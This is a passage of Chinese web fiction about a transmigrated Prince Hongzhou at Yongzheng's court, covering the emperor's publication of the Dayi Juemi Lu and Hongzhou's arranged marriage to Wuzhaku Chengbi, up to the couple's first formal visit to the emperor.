这把耿执羽气得要拿起东西砸这个可恶的孩子,最后还是定下了那个有些机灵的姑娘,姓吴扎库氏,是副都统五什库的女儿。 这回选秀的大饼就只有五福晋这一个,皇上是早早就说了这回后宫不进新人的。这两年又恰好的,宗室皇亲虽有适龄的,但在上回选秀就已经定了人家了。 如今五福晋的人选已定下,其余所有的姑娘就只有领了赏赐撂牌子回家嫁人了。 其中自然有不少是高兴的,她们的家世普遍一般,若是嫁入皇家连个侧福晋的位置都稳不住,很有可能只是格格。与其当个格格,还不如直接撂牌子回去让爹娘安排人家,知根知底的到时候也方便回娘家探亲。 还有些家世不错的也松了口气,她们也未必想要嫁入皇家。与其指给皇子或者王爷当侧福晋,还不如找个门当户对的人家,日后讨个诰命在身也不错。 当然有高兴的,也有不高兴的。 有些人本是想靠着选秀来博一场富贵的,不论是格格还是侧福晋,日后得了宠爱生了孩子都是有继承爵位的可能的。 唯有已经被定下的五福晋本人有点发愣。 裕嫔娘娘的钟粹宫已经放出了消息,虽然还没有明旨,但大家都知道吴扎库氏被定为了五福晋。 澄碧坐在房间的梳妆台上,有些苦恼地看着梳妆镜微微泛黄的镜面上映出了自己的容颜。 她本来上一届就该选秀的,那时候十四岁。 但家中的额娘心里并不想她嫁入皇家,索性报了病延了一届。本来打算好好的上一届不参与,这一届被选中的可能性就低了不少。 但没想到还是被选中了,这让澄碧的心里微微有点慌乱。额娘之前同她说过的,她们家门第还算不错,到时候从进京赶考的那些举子里挑个年轻品行好的,也不拘家里有没有家产,陪嫁多些就是了。到时候这未来夫婿要靠着阿玛提携,一家子自然不敢对她不好。 她当时也觉得这样不错,至少嫁出去后绝对不会有人欺负她的。 但如今未来夫婿一下子从穷举子,变成了皇子。身份跨度实在太大了,让她一时有点难以接受。 “澄碧姐姐,快些出来,教养嬷嬷们来了。”外面传来了一声清脆柔软的声音,是澄碧在这里碰见的还算投缘的小姐妹。 澄碧这才从思绪中醒来,应了一声就起身往外走去。 罢了罢了,既来之则安之。反正她又不能抗旨,只能盼着这位五阿哥是个好相处的吧。 定下了未来的福晋后,钦天监就开始算未来什么日子让五阿哥成婚好了。 算出来的是明年下半年的日子最好,皇后和裕嫔也开始走六礼了,成婚的最后一步是亲迎。但前面的五道程序也是不能避免的,都要一一走过的。 澄碧从皇宫回到了家中,接下旨意后就被额娘带回了院子里关上门叙话。 额娘的脸上喜忧参半,谁都知道当今皇上的孩子不多。去岁六阿哥丧了之后,如今满打满算就只有两个儿子了。 自家女儿这下被定下了五福晋后,日后一个和硕亲王福晋的位置是跑不掉的。 忧的是,皇家哪里是那么好嫁的。也不知道裕嫔娘娘的性子如何,女儿嫁进去要捧着皇后娘娘这个嫡额娘,还要侍候裕嫔娘娘这个亲生额娘。又听闻五阿哥是个不上进喜欢玩闹的性子,日后若是五阿哥惹出事来了,两位婆婆少不得要怪罪自家女儿了。 “额娘,”澄碧见自家额娘表情变来变去的有点好笑,“怎么是这个表情,女儿从宫里归来了额娘不欢喜吗?” 吴扎库福晋瞪了她一眼:“还笑。” 额娘的表情实在好笑,澄碧笑了一会儿才停下来:“这都已经定下了,阿玛也派人打听了说是五阿哥并不是难相处的人。日后嫁过去了,女儿日子也不一定会过得差,额娘就别担忧了。” 吴扎库福晋将女儿搂在了怀中,微微叹了口气。 本来家中就这一个女儿,自己和老爷是定下了要将女儿嫁在附近的。最好是过上几日就能回来看看的人家,但现在嫁到皇家去了可就不一定了。【你现在阅读的是魔蝎小说 moxiexs】 120-130 第121章 大义觉迷录 “我是担心你,”吴扎库福晋说道,“咱们家家风清正,家中从无什么腌臜事。可皇家权力倾轧,你虽是嫡福晋,但后面皇上和裕嫔娘娘难免给五阿哥再选两个侧福晋,到时候若侧福晋强势有手段,你的日子只怕也不好过。” 澄碧笑了一声:“这回并未听闻皇上给五阿哥赐过什么侧福晋格格,想来即便是要赐也是要等日后。这日后的事情还没影儿呢,额娘何苦现在就开始担忧。” 看着女儿这依旧是不知愁的模样,吴扎库福晋深深叹了口气,用手点了一下女儿的额头:“早知还是该让你阿玛去求了恩典,叫你撂牌子自行婚嫁的。” 澄碧的阿玛这几年来并不算多得圣心,他是康熙朝的老臣,如今的皇上上位后自有信重的自己人。 “额娘就别担忧了,”澄碧拉起了自家额娘的手臂,笑道,“这嫁入皇家不知道是多少人想要的喜事呢,能不能过好的也要等日后才知道,何苦现在就开始发愁。” 听着女儿的劝解,吴扎库福晋的面色才略好看了些。 汗阿玛的旨意下了之后,弘昼就有了一个未婚妻。但他一时之间没有发现什么差别,因为不论是在朝堂上站岗还是去大街上晃荡似乎都如往常一般。 除了被弘暾他们几人笑话一两句外,似乎和之前没有两样。 被笑话了弘昼一点也不羞涩,立刻就拿出了这几个小子之前的糗事来反击。从小一起长大就是这点好,你的什么乱七八糟的事我都知道。糗事一大箩筐,拿出来一个月一件都不带重复了。 被弘昼反击了之后,弘暾几人也就不再揪着这事调侃了。他们如今也已经是娶了福晋的人了,本来也是看着弘昼面容不自在想笑话他,也并不觉得娶妻是什么好笑的事情。 成婚的仪式还要走上一年半载的,弘昼不自在了几日之后就暂且将这件事抛之脑后了。现在有一件更重要的事情摆在他的面前,那就是汗阿玛要发疯了。 前段日子,川陕总督岳钟琪送了俩人回京,给刑部侍郎一审,这俩人为了劝说岳钟琪参加反清复明的组织给雍正造了十个谣言,这些谣言在民间已经流传了些日子了。 弘昼也是看了一个这十个谣言的,他私心里觉得怀疑是真的。但是其余的就很荒谬了,什么贪财、酗酒、**他怎么看都是不是自家汗阿玛。自家阿玛最不健康的爱好就是磕金丹了,而且这爱好已经戒得差不多了。 按照正常人的处理思路,这几个人为了反清复明造这个谣言。只需要将他们都砍了就行了,但雍正看到他们的供词后气得两眼一黑觉得世人误解自己,要写一本书来澄清自己的谣言。 弘昼听到汗阿玛的这个决定的时候,脸上是抑制不住的疑问。 啊? 为什么啊? 汗阿玛你脑子不清醒了! 这两个人日后能不能上史书不知道,但是你写这个肯定能上史书的啊。说不定这俩本来是无名小卒,日后都要在解读你这个澄清书的时候拿出来遛一圈了。 弘昼觉得这简直是个绝无仅有的坏主意,这样的事情皇帝为什么要亲自出手。明明只要有个态度,不理会这俩人,将他们砍了就是了。 但偏偏你要把他当成一件正经事情来看待,那可就不一样了。 弘昼扭头和站在旁边的四哥对视了一眼,都从对方的眼神中看出了对这个主意的不认可。 弘历的眼神中带着疑惑,怀疑,不解和无语。 “汗阿玛,”弘历向外走了一步,谨慎道,“这不过是两个卑鄙小人的胡言乱语,何至如此慎重待之。处置了这两人便是了,若是特意澄清,岂非太过将他们放在眼里了。” 他简直不敢想,自家汗阿玛这个澄清文一写下去,会在史书上记载成什么样子。只要想到这个,就觉得自己简直要晕过去了。 一旁的大臣也纷纷出言劝诫,心中都在想念去黄河治水了的十三爷。心中哀号,若是十三爷在这里说不定能劝住。 可十三爷现在远在天边,眼前的这位主子又是个执行力超强的。到时候信送到十三爷手上,十三爷再写回信来,只怕书都印出来了。 不论多少人前来劝诫,雍正都是一个态度。 朕就是要澄清。 弘昼看着一意孤行的汗阿玛,只觉得无语凝噎。若是他前世的时候了解过雍正朝代的话或许会知道这本书的意义,但他前世对清朝的了解都很模糊,也就知道个康乾盛世。现在对应过来就是皇玛法和汗阿玛还有四哥三位帝王一起联手治理的盛世,既然汗阿玛在位期间都是盛世了,那他的评价应该不差……吧? 一个人一意孤行的时候旁人是劝不住的,这个时候是需要一个有权威的人来压一压那人火热的脑子。 但很无奈的,雍正现在上头没有这个人。 能管住雍正的也就是他的阿玛额娘了,身为他阿玛的康熙已经过世七年了,而身为他额娘的太后也已经过世六年了。 其余的长辈都是属于在雍正面前都要低头做人的,更别提疾言厉色训斥了。唯一指望的也就是十三叔了,但十三叔如今远在天边。 弘昼绝望地看着汗阿玛将这件事吩咐下去,几日就得了初稿。 他将初稿也看了一遍,只觉得这东西流传下去简直了。本来后世不一定知道那两人所说的话,但看到这个就能知道了。这东西一旦发行下去,可就没有反悔的余地了。 只要到了百姓手中,日后一定是能流传下去的。 弘历对这件事也无奈,但他劝不动汗阿玛,只能拉着弘昼来喝一次闷酒。 他们兄弟两人都不是酗酒的人,甚至弘昼是今年才开始慢慢喝酒的。之前也不过是在宫宴那样的场合才会小抿一口罢了,如今偶尔会叫人拿酒来喝一杯。 明显这件事让弘历郁闷得不轻,他一口接一口的惯着酒,也不多说话。弘昼喝酒就要慢些了,他更接近于品,并不是喜欢将酒囫囵一口闷的性子。 “你说……”弘历咬着牙似乎想要说什么,但最终还只是叹了口气,“唉……” 子不言父过,何况是同兄弟一起在背后言父亲的过错,这是不对的。 弘昼也知道四哥想说的是什么,但他们又不是安生日子过够了想要让汗阿玛来敲打一下自己,敢在毓庆宫说什么。于是乎,弘昼只能执起酒壶再给四哥倒了一杯。 弘历凶狠地将酒杯中的酒一饮而尽。 弘昼又倒了一杯。 弘历又饮尽了。 …… 最后弘历是被李玉扶着回后面的,去的是四福晋的屋子。 四福晋看着自家丈夫满身酒气地被扶回来大惊:“怎么喝成这样子?不是说再前面同五阿哥用膳吗。” 五弟并不是喜欢喝酒的人,自家爷也不是,遇上什么事了让爷喝成这样。 四福晋一边指挥人去熬醒酒汤,一边给弘历擦拭身子又问道:“五阿哥呢,也醉了吗,往阿哥所也送一碗醒酒汤去。” “五阿哥没醉呢,”李玉恭敬答道,“五阿哥已经自己回阿哥所了,瞧着步伐稳当着呢,似是不用醒酒汤。” 一个醉成这样,另一个还步伐稳当? 四福晋在心中想了想,她多少也知道爷愁的是什么事。但这件事这两位阿哥都不能明说,她这个做儿媳的自然就更不能了。 不过在心中也感叹了一下,皇上一直英明神武,怎么在这件事上这般糊涂。 即便弘昼和弘历心中再不愿,其余老臣再劝诫,雍正要的那本澄清书还是印刷出来了,被取名《大义觉迷录》。 本来弘昼觉得这本书印出来了,汗阿玛多少也该完了吧。 但他想早了,根本就没完。 翻过年去后,雍正印刷大量书籍要求朝廷上下和地方官员小吏人手一本,所有的地方官和学官都要根据《大义觉迷录》来向百姓讲解,还派了个叫曾静的人全国巡回讲解。 知道这个的时候弘昼已经不知道说什么好了,他已经彻底麻了。 弘历每次听到这件事后就黑着脸,他实在也不知道该怎么劝汗阿玛了,明明平常的劝诫汗阿玛是很能听得进去的,但偏偏在这件事上似乎就成了一根筋一般。 待《大义觉迷录》这件事的风波略微过去一点后,紫禁城上下都开始紧急迎接下一场的事情了。 那就是五阿哥要大婚了。 准备了这么久,钦天监测算的好日子总算是临近了。临近婚期,弘昼也发觉自己开始紧张了起来。 封建时代盲婚哑嫁是要过一辈子的,希望福晋能是个和自己的兴趣相投的人。若是兴趣相投,那日子过起来也更有滋有味些。 裕嫔最近忙得都要起飞了,若非是将熹妃也拉过来办事,她都要忙不过来了。只有真正办一场才知道,这婚礼的事情有多么繁杂。 成婚的前一日,自家福晋的嫁妆已经抬进了自己这个小院子,弘昼看着这一抬一抬的箱子,似乎察觉到了自己的心已经开始怦怦跳了。 因为是嫁进宫里,能带嫁妆但是不能带太多的陪嫁人员。这日跟着嫁妆一起进宫的统共就一个嬷嬷和两个丫鬟,还有两个丫鬟是明日跟着新娘子一起进宫。 吩咐人将福晋的嫁妆都暂时封在侧殿,等福晋自己进来后再清点后,弘昼就开始准备睡觉了。明日要一大早起来去给汗阿玛皇额娘还有额娘行礼之后再出宫去迎福晋,不能错过吉时所以他要早点起来,现在还是快些睡吧,明日要忙一整天呢。 第122章 成婚 翌日 天色还黑沉沉的,弘昼就被人叫起了。他其实早就醒了,昨天晚上一直辗转反侧,估摸着只睡了一小会儿。 “主子,”映入眼帘的是小周子那张满是笑意的面庞,他今日身上也带着些红,瞧着也有些喜意,“时辰到了,咱们快些起来洗漱罢。穿戴衣裳要费不少的工夫呢,还要去后宫给几位主子请安呢。” 他今日要先去汗阿玛还有皇额娘那里行三跪九叩之礼,再去额娘那里二跪六叩。从养心殿到皇额娘的宫殿,再去额娘的宫殿,这紫禁城都要跑一圈了。 身上的这身婚服是弘昼自定了福晋开始内务府就准备着的,上面的刺绣精致绝伦,穿戴也要繁琐些。穿在身上更是有一种沉甸甸的感觉,好在只需要在今天穿一次。 穿戴好了之后,弘昼抓紧时间吃了点东西垫肚子。根据四哥的情报来说,成婚当日是没什么时间用膳的,能在早上多吃点就多吃点,不然后面就是硬忍着肚中的饥饿感了。 小周子也拿了一双筷子给弘昼夹菜,弘昼看了他一眼:“你也坐下来吃点吧,今儿估摸着要跟着我跑一天,想来也没什么时间用膳。” 之前小周子不同他一起用膳,但用膳的时间也还是有的。但今日实在有些太早了,太监宫女们的饭菜都还没做出来,他这是大膳房单独弄出来的,想来小周子是没得吃的。 “这,”小周子大惊,“怎么能让奴才和您一桌呢。” 弘昼微顿,他果然还是不喜欢这种一起吃个饭都要惊惶失措感恩戴德的时代。 “让你坐下就坐下,”弘昼懒得多说,直接道,“坐下,吃!” 见弘昼这样说,小周子犹犹豫豫地地就坐下了,他用膳的时候只会夹自己面前的几盘菜。弘昼看了一眼,也不管他了,自己出言让他放轻松他肯定放轻松不了。 等用过膳后,便是要去汗阿玛跟前三跪九叩了。 今日跟在弘昼身后的乌泱泱的一群人,是按照规矩有一个内务府总管率领八字属相相合的属官二十人,另外还有护军参领,率领护军四十人,都要求八字和属相同新人相合。 这些人跟着他去了养心殿,在殿外等候他自己进去磕头。 雍正今日穿得也明显正式了些,虽然按照规矩他是不必亲临弘昼成婚的现场的,但他想着这个儿子终于也算长大了,不免郑重了些。 弘昼按照之前学的规矩给汗阿玛三跪九叩之后,就被苏培盛扶了起来。 雍正张了张嘴,似乎有什么话想说,但念及今日是成婚,等明日新人前来行礼的时候说话也不迟。只是微微点了点头,嘱咐了弘昼几句就让他退出去了。 汗阿玛这里搞定了,接着就是去皇额娘的宫中。 皇后也是一早就起来预备了,她挺喜欢弘昼的,这个孩子不论是面上还是私下里对她这个皇额娘都很是恭敬孝顺。 端柔和惠也早早起来了,长辈们不大能亲临弘昼的阿哥所,但是这两个小妹妹是可以的。她们等弘昼将新人迎进阿哥所后,能去凑一凑热闹,看看五哥掀盖头喝合卺酒的场面。 见弘昼进来磕头,皇后温言嘱咐了两句就让他出去了。 这样就只剩下最后一处,也就是额娘的钟粹宫了。 耿执羽早早地就起来梳妆打扮了,她今日穿了她的那一身嫔位的朝服。一边打扮着,一边和身旁的宫女说话。 “娘娘今儿真好看,”娑鸣一边往耿执羽的头上插着钗子,一边笑道,“可见是人逢喜事精神爽。” 耿执羽平日里是不大喜欢精心打扮的,平日里最多也就是简简单单的。但今日是唯一的孩子成婚,她早就盼着这一日了。 轻轻嗔了娑鸣一眼,耿执羽的脸上带笑,不答一言。 耿执羽打扮好了之后,弘昼那时还未出发去养心殿,她便端了一杯茶慢慢地抿着。心中满是欢喜,今儿过后,弘昼也算是成人了。 古人云,成家立业。她也不盼着弘昼能有什么大出息了,只要好好地到老就好了。 等弘昼走到额娘的宫殿时,太阳都已经升起来许久了,按照规矩给额娘二跪六叩后,便要同后面的这些人一起去迎新娘子了。 宫门口早就有銮仪卫准备好的红缎围的八抬彩轿一座,弘昼骑上了一匹神俊的马儿就开始往吴扎库家出发了。 吴扎库府早就有内务府大臣福晋,带着四个内管领福晋在澄碧的卧房内一边看着新娘子梳妆,一边带着笑意说着话了。 这些人都是内务府早就选好的,要求八字属相相合,还要要求是全福太太,要的是父母健在,同丈夫夫妻和睦还有儿有女的妇人。 澄碧看着铜镜中被一层又一层胭脂水粉涂抹的自己,同往日里的模样大不相同。似乎是换了一个人一般,让她有些惊奇地冲着铜镜眨了眨眼。 内务府大臣福晋嘴甜道:“咱们五福晋瞧着可太水灵了,看这模样,待嫁进宫后只有甜呢。” 吴扎库福晋不舍得看了看女儿两眼,她今儿还有不少的事情要办,现在只是抽空进来看女儿一眼。这里人多也不方便说话,看了便要退出去了。 “是呢,”另有一人笑道,“谁不知道咱们五爷是出了名的孝悌,待皇上皇后娘娘还有裕嫔娘娘都孝顺极了,不时就从宫外带些小玩意孝敬两位娘娘。待兄长妹妹也和气极了,两位公主今儿似都要去婚宴捧场呢。” “咱们五福晋这嫁过去,那真是掉进了蜜罐子,只剩甜了。” 这几位女官都捡着吉祥好听的话说,一气儿地夸澄碧的福气好。让澄碧有些汗颜,只能跟着笑了起来。 “吉时到——” 外面传来了叫喊声。 “来迎新娘子了——” 吵吵嚷嚷的声音代表着銮仪卫已经来了,只是不知道五阿哥有没有来。 皇子成亲是不一定需要亲临的,先帝的好几位皇子都没有选择亲临,而是直接让銮仪卫将新娘子接回宫。 “来,该盖盖头了。”有人拿着盖头,对着澄碧笑了一声后盖了上去。 鞭炮声,锣鼓声,说话笑闹声,还有外面吵吵嚷嚷的应酬声音似乎在这一刻都大了起来。澄碧看着盖头下面的一片红光,终于后知后觉地紧张了起来。 今日踏出府后,自己就要换一个地方生活了,能过得好吗? 备嫁的这段日子,前来恭喜的人是很多的。有平日里就玩得好的小姐妹,也有平日里不怎么来往,只有逢年过节才会见面的宗族姐妹,更有些澄碧都不认识的人。 这些人看见她总是会第一时间就堆满了笑,口里说着吉祥话,说着日后成为五福晋不要忘记提携,要在五爷面前说两句好话。 只有额娘,有时是欢喜的,有时是担忧的。昨日看着她的神色总是带了点忧愁,让她嫁进宫去后要时时留意,事事小心。 热闹声似乎更近了,澄碧被女官扶着前往了中堂,要在那里上花轿。 吴扎库福晋此时脸上正带着笑看着和伍什说话的弘昼,五阿哥能亲自来接,可见是重视澄碧的。这也让她心中略松了口气,她最怕的是皇家的阿哥不把自己女儿当人。 新娘子进了中堂后,欢喜笑闹的声音似乎更多了,弘昼看着那个穿着嫁衣看不清身形的身影被女官扶着进了轿子。 这就是自己要共度一生的人吗?* 吉时到了,弘昼翻身骑上高头大马,身后是那座红缎围的八抬彩轿,由八名膀大腰圆穿红的太监抬起。共有十六灯笼和二十火炬走在最前面,女官骑着马护在轿子身侧,后面还有内务府总管以及护军参领和各自的属官护在后面。 耳边似乎全是鞭炮声锣鼓声和唢呐声,弘昼的心情突兀地平静了下来。 待到宫门口,所有骑马的人都下马步行。等花轿到了阿哥所门口后,仪仗都停在了外面,只有女官和花轿进入。 这里早就有命妇在这等着了,见花轿来了连忙将新娘子迎了下来。 四福晋已经在洞房里等着了,这屋子里挂着不少的红色,一眼看上去红通通的一片。其实不只是这里,今日宫里都挂着红。皇上对五阿哥的宠爱大家都看在眼里的,内务府自然也不是不懂事的人,将婚事办得很是隆重。 弘昼刚进阿哥所,就被拉去喝酒了。四福晋在洞房里陪着这个五弟妹,日后大家互相是妯娌,又同住在宫里,自然是要常常来往的。 “五弟妹,我是你四嫂。” 澄碧听见了旁边传来了笑声,她坐在了喜床上,这上面铺满了花生桂圆红枣之类的吉祥东西,坐起来微微有点膈。 “四嫂。”澄碧循声对着声音的来源点了点头。 四福晋一直拉着这位五弟妹说话,怕她过于紧张了。澄碧在四嫂的家常话中也渐渐放松了,听起来这位四嫂似乎是个好相处的人。 在家中的时候,额娘就担心四嫂不好相处。虽说四福晋的贤德极出名,但到底他们这样的人家和皇家打交道的时候实在不多,又哪里知道内里真的贤不贤呢,怕女儿得了妯娌的算计。 但现在澄碧听着这略显温和的声音,觉得应当是个不错的人。 外头的弘昼喝了两盏酒后,陪着款待了福晋父母亲族,还有些朝堂上的大臣。他这个小院是放不下这么多宴席和人的,内务府辟了他左右的两处院子来用,反正现在没有小主子住在里面。 待宴席散了后,天也已经黑得差不多了。 第123章 成婚2 弘昼踏入了洞房中,屋内点着不少蜡烛,将整个屋子照耀得亮如白昼。澄碧坐在床的中间,头上盖着盖头,身上穿着宽大的婚服看不真切身形和容貌。 四福晋坐在旁边的椅子上陪着,另还有三四个外命妇陪着,见弘昼进来齐齐发出了哄笑声。左一声调侃,右一句戏谑的话传入了弘昼耳边。 本来就在外面喝了几盏酒,夜风吹过后便有些脸红的弘昼,听到这些话脸上更红了。 随同一起进来的弘历和弘暾弘晈几人也发出了笑声。 “难得,难得,这小子平日里脸皮忒厚,想看他脸红实在是不易啊。” “咱们弘昼今儿可是新郎官,怎么还不能脸红了。” “啧啧啧,有生之年竟然能看到咱们五爷脸红,只可惜不能现场画下来。” 弘昼扭过头给这几人一个白眼,这几个也就是欺负自己成婚晚,他们都已经成婚了,自己报复不回去了。 澄碧也听到了屋内人的笑闹声,她隐在红盖头下面的脸也微微红了起来,只觉得双颊发烫,整个人都有些热了起来。 “好了好了,”四福晋掩唇笑道,“快叫五弟过来掀盖头吧,可别误了吉时。” 马上便有女官拿了专程掀盖头的秤过来,弘昼接过这把秤杆,抿了抿唇朝着床走去。 轻轻将这红盖头掀起,一张如花似玉的面容就出现在了弘昼的面前。眉如翠羽,眼若寒星。鼻梁翘挺,唇似三月桃花般鲜妍。 抬头微微看了自己一眼便立刻低下了脑袋,弘昼宛如被羽毛轻轻在心中拂了一下,说不出是什么感觉。 “哟,五爷瞧着福晋都看呆了。” 弘昼反应过来,轻咳了一声,在女官的指引之下开始喝合卺酒。 将仪式走完后,弘晈还想调侃,但被弘历和弘暾都拎了出去。四福晋和命妇女官也一起退场,洞房内只剩下了这一对新婚夫妇和伺候的侍女们。 看见澄碧还低着脑袋,弘昼脑内疯狂地想了一会儿,终于想到了一个开场白:“用膳了吗?” 澄碧微微讶异,不自觉抬头看了弘昼一眼,见五阿哥的脸上也带了点窘迫和尴尬,原本的羞涩紧张竟在不知不觉间消失得一干二净了,对着弘昼微微笑了一下。 “未曾。” 弘昼看着自己的新婚妻子头顶上的珠翠,莫约着应当不轻,开口道:“你先去洗漱一下吧,我已经叫了小周子去传膳。今儿一天我也没什么用膳的功夫,想来你也是,洗漱了咱们一起用一顿晚点。” 他也想洗漱了,跑了一天,又喝了一点酒,身上感觉不大好受。 澄碧应了一声,弘昼便去旁边的屋子洗漱了,将这里留给了澄碧。同时将自己院子原本的人都叫走了,只留下了澄碧身边的陪嫁丫鬟,让澄碧放松一下。 这回嫁人,澄碧带了三个陪嫁丫鬟和一个陪嫁嬷嬷进宫。若是嫁给旁人是能多带些陪嫁人户的,从丫鬟嬷嬷到小厮管家一应俱全。但嫁进宫里,就不能多带了。 余桃和银叶是昨日就跟着嫁妆一起进宫了的,唤琴是今儿随在她身边一起进来的。 见五阿哥出去了,余桃才敢说话:“我扶着格格去侧间洗漱吧。” “你糊涂了,咱们以后不能叫格格了。”银叶已经扶着澄碧起身了,笑道,“要叫福晋,昨儿还叫得好好的,怎么今日就混忘了。” 三人簇拥着澄碧去了侧间,在梳妆台上将头上的钗环都摘了下来。将这些沉甸甸的东西摘下来后,澄碧觉得自己的脖子好受了许多。她平日里并不会戴太多的珠钗在头上,嫌重得慌,今儿戴这么多脖子早就不舒服了。 澄碧活动了一下脖子,余桃带着银叶出去提热水了,今儿脸上的脂粉不少,估摸着要洗好几盆的水。还有沐浴要用的水,一共要提不少呢。 不多时,余桃和银叶就带着几个小太监提了好几桶热水进来。 五福晋刚刚进门,院中的众人还摸不清脾性,还好身边的陪嫁丫鬟似乎是好说话的。 将水兑到了适宜的温度后,澄碧将脸上的脂粉洗净后又沐浴了一会。觉得身上的疲乏都解了些后,才从浴桶中出来由着唤琴几人给她换上衣裳。 “奴才参见福晋。”小周子在门口叩了叩门禀报道,“爷在东厢房摆了饭,福晋沐浴后便可去那儿用膳。” 澄碧抿了抿唇,她的头发还是半干的,银叶用棉布细细地擦拭了水分,余桃将棉布烤暖了之后过来擦拭头发,不多时头发就干得七七八八了。 将自己收拾妥当后,澄碧就踏入了东厢房。 相比于福晋要卸去脸上的胭脂水粉和头上的钗环,弘昼收拾自己就简单多了。只需要将身上繁琐的服饰脱下来,然后就能沐浴了。 饭菜在食盒里摆着,见福晋进来了之后小太监才将饭菜从食盒中取出来一一摆在了桌上。 “妾身……”澄碧进来就要行礼。 弘昼将她扶了起来说道:“咱们自己院子里就不必讲究这些虚礼了,日后见我也不必这样多礼了。” 澄碧感受到一双干燥温热的手扶着自己的手,脸上不自觉地就浮上了一抹红色。 小太监将饭菜摆好了之后,弘昼看了看澄碧身后的几个丫鬟说道:“你们也下去用膳吧,小周子带着她们去。” 唤琴下意识看了自家福晋一眼,见她没有什么表示几人就跟着小周子出去了。 桌子上摆着六七碟子的菜和一碗汤,弘昼执起筷子说道:“不知道你喜欢吃什么,就叫大膳房随意送了,先将就着用些,有什么想吃的明儿可以差人去大膳房点菜。” “这些就很好了。”澄碧笑了笑说道。 这一天就早上天还未亮的时候用了一顿,弘昼也是真的饿了,同澄碧说了两句话后就开始用膳。 澄碧惊讶于五阿哥竟然没有留侍膳太监,她们家中的规矩没有那么大,阿玛额娘的感情好,很多时候都是在一张桌子上用膳的。她很习惯于这样自己用膳,但没想到五阿哥也是这样的习惯。 宫里御膳房的饭菜做得比家中要好吃不少,澄碧今日也饿了,不知不觉就吃了不少。等她放下筷子的时候发现,桌面上的几道菜竟被他们两人吃得差不多了。 吃饱了后弘昼就放下了筷子,唤了一声后便有小太监进来奉茶了。 澄碧也差不多吃饱了放下了筷子,抿了一口小太监送上来的茶,是雨前龙井。 用过膳后两人回到了洞房,床上的花生桂圆之类的图个吉利的东西已经被收了。甚至连被褥都换了,当然了,还是红色的喜被,上面绣着鸳鸯戏水的图案。 “坐吧。”弘昼在凳子上坐下,见澄碧站在原地略显有些局促的样子笑了笑说道。 澄碧坐在了床上,略低下了脑袋。她们家是打听过五阿哥的性子的,阿玛那里打听出来的是个略有些荒唐的性子,不大爱办差和念书。出嫁前阿玛嘱咐过她不必盯着五阿哥上进,人家投胎到皇家就是只要不作死就有好前程的。 若是五阿哥不喜欢上进,自己这个福晋相逼,反倒容易让夫妻感情不好。 弘昼眨了两下眼,他明显看出了福晋有点紧张的意思,但他同样很紧张。长这么大连小姑娘的手都没有牵过,现在直接成婚了实在有些…… 想起前几日,四哥神神秘秘递给自己的书,弘昼又有些无奈。他虽然没有吃过猪肉,但还是见过猪跑的。本来还以为自己多少也是见识过的人了,但现在看着新妇坐在自己面前,原本想好的开场白都变成了脑中的空白,一句也想不起来了。 还是澄碧见弘昼半天都没有说话,才略小心地抬起眼,一下子就撞进了弘昼那略带紧张的眼眸中。 “咳——”弘昼咳嗽了一声说道,“还未请教福晋的闺名。” 弘昼其实是知道自己福晋的名字的,六礼当中有一项是问名,就是男方向女方家中托媒人问女子的闺名和生辰。但现在他想要用这个作为开场白,好歹互相熟悉一下。 “妾身名唤澄碧,”澄碧见五阿哥似乎比自己还要紧张的样子,突然心中的紧张就消失了,大方笑道,“取的是《徐霞客游记》中的其潭大数十亩,渊然澄碧。因家父喜徐霞客笔下湖泊之美,方才给我取了此名。” “澄碧。”弘昼在嘴中念了两次这个名字,对着澄碧笑了一下,“清澈而碧绿,是个好名字。我的名字你多半也听说过了,昼,明也。” 对面的少年肤白如玉,面容俊秀,笑起来的时候带了点温暖的感觉。不自觉就让澄碧心中微微跳动了起来,她见到五阿哥之前是没想到五阿哥能长得这样好看的。特别是说话的时候一双眼睛盯着你时,似乎整个眼底都是你的样子格外迷人。 澄碧心想,难怪话本子说要灯下看美人,这灯烛的暖光下瞧着五阿哥确是格外好看。 弘昼见对面的少女盯着自己突然不说话了,歪了歪脑袋接着看她。 澄碧这才回神,发觉自己刚才看着对面的人呆了,不由脸红了一下,微微扭过头去。 屋内一下安静了下来,只有烛火发出了噼啪一声。 “今儿有些太晚了,咱们还是先歇息了吧。”半晌后,弘昼才开口说道,“明儿一大早就要起来去给汗阿玛皇额娘还有额娘请安呢。” 听到这话,澄碧的脸更红了点,微微点了点头表示明白了。 …… 翌日 天还没亮外面就有人在叫起了,弘昼的脑子还有点疼,他已经连续两三天都没有睡够了。现在只想继续睡觉,但想到还得起床给几位长辈请安,只能无奈扶着额头起来。 相比之下,澄碧起得就顺畅多了,今日给长辈们请安是一件大事。她要在今日给几位长辈留下一个不错的印象,日后才好相处。 弘昼穿着寝衣下床,声音微哑:“我去东厢房洗漱,你就在正房梳妆吧。” “好。” 说完,弘昼就走了出去,去了东厢房。 见五阿哥走了,余桃和银叶才端着热水走了进来。 唤琴手里捧着今日要穿的衣裳,是许久前就定做好的。一身红色的旗装,上面绣着三多纹,是一件见长辈不会不错的装扮。 等澄碧梳妆打扮好了,弘昼已经在餐桌前等了有一阵子了。他多少明白女子在大场面的时候要细心装扮,头一回见长辈在她心中应当是件较为重要的事情,所以慢些也正常。 澄碧一进来,弘昼的眼睛就微微亮了亮。 与昨日胭脂水粉涂了一层的样子和清洗后清水出芙蓉的模样都不同,今日的澄碧脸上只施了淡淡的脂粉,唇上的口脂也只是淡红色。身上的红色衣裳也不会喧宾夺主,反而更衬得澄碧人比花娇。 “快来坐吧。”见澄碧又要行礼,弘昼先打断了说道,“用过膳后咱们要先去给汗阿玛行礼,再去皇额娘那里,最后是额娘那里,今日只怕也是要辛苦你了。” 澄碧坐了下来,扫了眼桌上丰盛的膳食笑道:“这都是应该的。” 用过膳后,两人便朝着养心殿而去。这个时辰,汗阿玛应当还没上朝,现在去拜见了之后正好汗阿玛去上朝,他们两人则去坤宁宫拜见皇额娘,顺便见过两位妹妹。 到的时候离上朝的辰时还有半个时辰,弘昼夫妇刚一过去,苏培盛就笑着进去通传了之后叫他们进去。 弘昼要行三跪九叩之礼,而澄碧则是要六肃三跪三拜。 雍正端坐在上首看着这对新婚夫妻给自己行礼后,面上露出了一点笑意,看着弘昼道:“成婚了日后就是大人了,该要撑起你自己的小家了,上进些才是。” 弘昼嗯嗯啊啊地应了。 又说了些让他们夫妻和美互相扶持之类的话后,小太监捧出雍正给澄碧的见面礼,然后就打发了他们出去了。 除了见面礼外,还赏了不少的东西,是雍正直接叫人送到弘昼的院子去的。 